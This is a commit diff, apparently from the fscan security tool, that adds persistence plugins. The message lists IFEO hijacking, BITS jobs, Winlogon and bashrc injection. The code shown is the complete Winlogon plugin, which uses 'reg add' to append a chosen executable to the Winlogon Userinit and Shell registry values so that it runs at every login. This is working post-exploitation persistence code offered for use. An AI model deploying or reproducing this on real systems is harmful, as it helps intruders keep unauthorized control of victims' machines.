feat: 新增 4 种持久化插件

- winifeo: IFEO 映像劫持 (sethc/utilman/narrator)
- winbits: BITS 后台任务持久化，通过 GUID 操作避免同名冲突
- winlogon: Winlogon Userinit/Shell 追加
- bashrc: Linux bashrc/profile 注入

plugins/local/winlogon.go

@@ -0,0 +1,75 @@
+//go:build (plugin_winlogon || !plugin_selective) && windows && !no_local
+
+package local
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+
+	"github.com/shadow1ng/fscan/common"
+	"github.com/shadow1ng/fscan/common/i18n"
+	"github.com/shadow1ng/fscan/plugins"
+)
+
+type WinLogonPlugin struct {
+	plugins.BasePlugin
+}
+
+func NewWinLogonPlugin() *WinLogonPlugin {
+	return &WinLogonPlugin{BasePlugin: plugins.NewBasePlugin("winlogon")}
+}
+
+func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
+	pePath := session.Config.WinPEFile
+	if pePath == "" {
+		return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件，使用 -win-pe 参数")}
+	}
+	if _, err := os.Stat(pePath); err != nil {
+		return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)}
+	}
+
+	absPath, _ := filepath.Abs(pePath)
+	key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
+
+	entries := []struct {
+		name    string
+		value   string
+		desc    string
+	}{
+		{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), "Userinit 追加"},
+		{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), "Shell 追加"},
+	}
+
+	var output strings.Builder
+	var successCount int
+
+	for _, e := range entries {
+		out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput()
+		if err != nil {
+			output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
+			continue
+		}
+		output.WriteString(fmt.Sprintf("[成功] %s\n", e.desc))
+		successCount++
+	}
+
+	if successCount > 0 {
+		common.LogSuccess(i18n.Tr("winlogon_success", successCount))
+	}
+
+	return &plugins.Result{
+		Success: successCount > 0,
+		Type:    plugins.ResultTypeService,
+		Output:  output.String(),
+	}
+}
+
+func init() {
+	RegisterLocalPlugin("winlogon", func() Plugin {
+		return NewWinLogonPlugin()
+	})
+}